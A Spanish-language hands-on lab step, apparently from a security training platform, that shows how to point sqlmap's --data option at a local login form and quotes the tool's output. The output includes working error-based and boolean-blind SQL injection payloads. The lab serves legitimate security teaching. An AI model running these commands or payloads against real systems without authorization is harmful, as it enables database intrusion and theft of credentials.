Usar la Opción --data para Especificar Parámetros POST
En este paso, construirá un comando básico de sqlmap utilizando la opción --data. Esta opción es esencial para indicarle a sqlmap que envíe una solicitud POST y qué datos incluir en el cuerpo de la solicitud.
La sintaxis básica para un escaneo POST en sqlmap es:
sqlmap -u "URL_OBJETIVO" --data="CADENA_DATOS_POST"
-u "URL_OBJETIVO": Especifica la URL que procesa los datos del formulario. En nuestro caso, es http://localhost:8000/login.php.
--data="CADENA_DATOS_POST": Proporciona la cadena de datos que capturó en el paso anterior.
Ejecutemos un comando para ver cómo sqlmap procesa esta información. Usaremos la cadena de datos que encontramos anteriormente. Este comando aún no realizará un escaneo completo; solo nos ayudará a confirmar que sqlmap identifica correctamente los parámetros POST.
Ejecute el siguiente comando en su terminal:
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"
sqlmap se iniciará y le mostrará información inicial. Identificará correctamente que la solicitud es una solicitud POST y encontrará los parámetros username y password. Luego le preguntará si desea probarlos.
[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test
Parameter: password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
[*] ending @ ...
Puede presionar n cuando se le pregunte sobre el enmascaramiento de la contraseña y luego sqlmap continuará. Para este paso, puede dejar que se ejecute o presionar Ctrl+C para salir después de ver que identifica los parámetros. La clave es comprender cómo funciona la opción --data.